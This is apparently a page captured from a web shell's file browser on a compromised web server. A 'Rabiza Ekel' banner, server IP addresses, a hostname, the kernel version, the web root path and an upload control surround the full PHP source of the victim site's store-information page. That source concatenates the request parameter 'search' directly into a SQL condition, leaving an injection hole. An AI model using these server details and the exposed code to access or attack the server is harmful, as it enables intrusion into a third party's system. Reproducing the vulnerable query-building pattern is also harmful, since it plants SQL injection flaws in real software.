ҳ̸Ҳ̸ҳ Rabiza Ekel ҳ̸Ҳ̸ҳ
:
3.128.94.125
:
47.103.87.29 / bstest.wagas.com.cn
:
Linux Wagas-WebServer 3.10.0-1160.11.1.el7.x86_64 #1 SMP Fri Dec 18 16:34:56 UTC 2020 x86_64
:
/
usr
/
html
/
www
/
Upload File:
files >> /usr/html/www/store_information.php
<?php // 引入配置文件 require_once 'inc/conn.php'; require_once 'inc/function.php'; $now_page = $_REQUEST['page'] ?? 1; $search = $_REQUEST['search'] ?? ''; $where = "is_deleted = 0"; $limit = 'limit 0,8'; // 查询城市 global $pdo; $city_arr = ["'上海市'", "'北京市'", "'杭州市'", "'南京市'", "'无锡市'", "'深圳市'", "'广州市'", "'成都市'", "'苏州市'", "'青岛市'"]; $sql1 = "SELECT * FROM cities where `city` in (".trim(implode(',', $city_arr)).")"; $city = $pdo->prepare($sql1); $city->execute(); $cities=$city->fetchAll(PDO::FETCH_ASSOC); if($_POST) { if($search != '' && $search != -1) { $where .= " and city_id = ".$search; } if($now_page) { $limit_ = ($now_page-1)*10; $limit = 'limit '.$limit_.',10'; } getAjaxStore($where, $limit); } else { $data = getStore($where, $limit); } ?> <!doctype html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>门店信息</title> <link href="plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css" /> <script src="plugins/jquery.min.js" type="text/javascript"></script> <script src="js/jqPaginator.min.js" type="text/javascript"></script> <link href="css/myPage.css" rel="stylesheet" type="text/css" /> <script src="js/myPage.js" type="text/javascript"></script> <link rel="stylesheet" href="dist/zoomify.min.css"> <style> .pagination>.active>a, .pagination>.active>a:focus, .pagination>.active>a:hover, .pagination>.active>span, .pagination>.active>span:focus, .pagination>.active>span:hover { z-index: 0; } td { vertical-align:middle !important; } .box-big { position: fixed; top: 0; right: 0; bottom: 0; left: 0; background-color: rgba(0, 0, 0, 0.3); display: none; } .box-big .child-box { z-index: 999; position: absolute; text-align: center; width: 100%; display:table; height:100%; } .child-box span { display:table-cell; vertical-align:middle } .box-big .del { position: absolute; top: 0; right: 0; } .example:hover { color: #0e90d2; border-bottom: 1px solid #0e90d2; } .example { color:#00A8FF; } #content span { display: table; } </style> </head> <body> <div style="width: 90%; text-align: center; margin: auto"> <h3>WAGAS门店信息公示</h3> <div> <select class="form-control" name="search" id="search" onchange="searchCity()" style="width: 100px;margin-bottom: 20px"> <option value="-1">全部</option> <?php foreach($cities as $city) {?> <option value="<?=$city['id']?>"><?=$city['city'];?></option> <?php }?> </select> </div> <table class="table table-hover table-bordered"> <thead> <tr class="active"> <td>门店名称</td> <td>门店地址</td> <td>门店编号</td> <td>信息公示</td> </tr> </thead> <tbody id="content"> <?php if(!empty($data['posarray'])) {?> <?php foreach($data['posarray'] as $datum){?> <tr> <td><?=$datum['name']?></td> <td><?=$datum['address']?></td> <td><?=$datum['store_number']?></td> <td> <span <?php if($datum['business_license'] != ''){?>class="example" <?php }?> style="cursor:pointer;" onclick="showImg(this)" data-src="admin/<?=$datum['business_license'] ?? ''?>">营业执照</span> <span <?php if($datum['license'] != ''){?>class="example" <?php }?> style="cursor:pointer;" onclick="showImg(this)" data-src="admin/<?=$datum['license'] ?? ''?>">食品经营许可证</span> <span <?php if($datum['classification'] != ''){?>class="example" <?php }?> style="cursor:pointer;" onclick="showImg(this)" data-src="admin/<?=$datum['classification'] ?? ''?>">食品安全监督量化分级</span> </td> </tr> <?php }} else {?> <tr> <td colspan="4" style="text-align: center">暂无记录</td> </tr> <?php }?> </tbody> </table> <?php if(!empty($data['posarray'])) {?> <div id="page"> <ul class="pagination" id="pagination"> </ul> <input type="hidden" id="PageCount" runat="server" value="1"/> <!--显示多少条数据--> <input type="hidden" id="PageSize" runat="server" value="10" /> <input type="hidden" id="countindex" runat="server" value="10"/> <!--设置最多显示的页码数 可以手动设置 默认为7--> <input type="hidden" id="visiblePages" runat="server" value="7" /> <input type="hidden" name="nu" id="nu" value="0"> </div> <?php }?> </div> <div class="box-big"> <div class="child-box"><span><img src="" alt="" class="show-img"></span></div> <div class="del"><img src="images/del.png" alt="" width="50px"></div> </div> </body> <script> function searchCity() { loadData(1, 'search'); } </script> <script type="text/javascript"> function showImg(obj) { if($(obj).data('src') != 'admin/') { $(".box-big").show(); $(".box-big").find('.show-img').attr('src', $(obj).data('src')); } } $(".box-big").click(function () { $(this).hide(); }); $(function () { loadData(1, 'index'); loadpage(); }); function loadData(num, type) { var nu = $("#nu").val(); var str = ''; var search = $("#search").val(); if(nu > 0) { $.ajax({ url:'/store_information.php', type:'post', data:{page:num, search:search}, dataType:'json', success:function (res) { var ex = ''; var ex1 = ''; var ex2 = ''; $.each(res.posarray, function (index, val) { if(val.business_license != '') { ex = 'example'; } if(val.license != '') { ex1 = 'example'; } if(val.classification != '') { ex2 = 'example'; } str +='<tr>'+ '<td>'+val.name+'</td>'+ '<td>'+val.address+'</td>'+ '<td>'+val.store_number+'</td>'+ '<td>'+ '<span class="'+ex+'" style="cursor:pointer;" onclick="showImg(this)" data-src="admin/'+val.business_license+'">营业执照</span>'+ '<span class="'+ex1+'" style="cursor:pointer;" onclick="showImg(this)" data-src="admin/'+val.license+'">食品经营许可证</span>'+ '<span class="'+ex2+'" style="cursor:pointer;" onclick="showImg(this)" data-src="admin/'+val.classification+'">食品安全监督量化分级</span>'+ '</td>'+ '</tr>'; }) if(res.count == 0) { $("#page").hide(); str += '<tr>'+ '<td colspan="4" style="text-align: center">暂无记录</td>'+ '</tr>'; } else { $("#page").show(); } // 总条数 $("#PageCount").val(res.count); $("#content").html(str); $('.example').next("img").zoomify(); if(type == 'search') { loadpage(); } },error:function(data,type, err){ console.log("ajax错误类型:"+type); console.log(err); } }) } else { if(<?=$data['count'];?> > 0) { $("#PageCount").val(<?=$data['count'];?>); console.log($("#PageCount").val()); } } $("#nu").val(parseInt(nu)+1); } </script> <script src="js/jquery.imgbox.pack.js"></script> <script src="dist/zoomify.min.js"></script> <script type="text/javascript"> $('.example').next("img").zoomify(); </script> </html>
ҳ̸Ҳ̸ҳ Rabiza Ekel ҳ̸Ҳ̸ҳ